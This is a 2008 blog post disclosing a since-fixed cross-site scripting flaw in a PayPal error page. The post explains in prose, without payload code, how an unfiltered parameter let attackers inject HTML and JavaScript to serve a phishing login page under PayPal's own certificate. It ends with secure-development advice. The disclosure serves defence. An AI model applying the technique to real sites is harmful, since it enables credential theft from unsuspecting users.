Published:
February 17 2008, 10:44 AM
by
Stefan Berteau
Take a close look at this image. You can click to enlarge it.
It looks like the PayPal login page,
but some things are off. For one, the title is "Login - PayPal
Phishing Proof of Concept". That is because this isn't the PayPal
login page at all, but a Phishing proof of concept. It was hosted on
PayPal's servers and secured with PayPal's security certificates, but
I had complete control over all the HTML, including where the login
form sent usernames and passwords. This page would not have been
caught by any of today's anti-phishing programs, because thanks to a
vulnerability, PayPal itself was serving this page.
Thankfully, the people we contacted at
PayPal were responsive and the vulnerability was resolved within
minutes. To our knowledge, their quick action prevented any
customers from coming to harm as a result of this vulnerability, and
we applaud their speedy and responsible action on this issue. It
serves as a reminder, however, of the importance of secure
development when web sites are being brought online, and the
importance of speedy reaction when vulnerabilities are discovered.
This vulnerability stemmed from an
error jsp designed for server-side inclusion. When a page on paypal
needed error messages to display, it could call this jsp and pass in
the message it wanted via the err_message variable. The jsp would
return that same message, formatted in a yellow box with an
exclamation point graphic in front of it. This jsp was, however,
open to the public in addition to being callable by other PayPal
pages. The photograph below shows an example of a simple "Hello
World" message being passed in to it:
This page was initially forwarded to me
as a joke, with people exploiting it to make PayPal return humorous
or insulting error messages. Some quick tests, however, indicated no
checks were being performed on the input. The JSP wasn't
differentiating between POST and GET variables, and did not filter
the contents of this variable at all. This meant that HTML and
Javascript could be passed in place of "Hello World", and they
would be inserted verbatim into the returned page at a fixed
location.
It may not seem like much, but this is
all that someone needs in order to perform all sorts of mischief.
Browser exploit code could have been posted, causing visitors to
download and run malware. The real risk associated with this type
vulnerability, however, is phishing. If the right code was passed
in, the yellow box and error message can be hidden, and the contents
of any other PayPal page could be displayed in their stead, modified
in order to return login details or other personal information to a
third party server. Since the page is being generated and returned
by PayPal's servers, however, automated anti-phishing programs and
even casual user inspection would reveal nothing wrong. In all
aspects other than the URL path and aspects of the source code, the
page would be indistinguishable from a legitimate login form. It
would even be retuned over an https connection secured with PayPal's
security certificates:
Thankfully, in PayPal's case, the
malicious exploit of this vulnerability seems to have been avoided.
Similar vulnerabilities almost certainly exist across the web,
however, and we want to take this opportunity to urge web application
developers to follow stringent security practices. Follow a
least-access approach, preventing outside users from being able to
request objects which are designed as server-side includes, and
always perform checks on your input to remove potentially harmful
HTML and Javascript.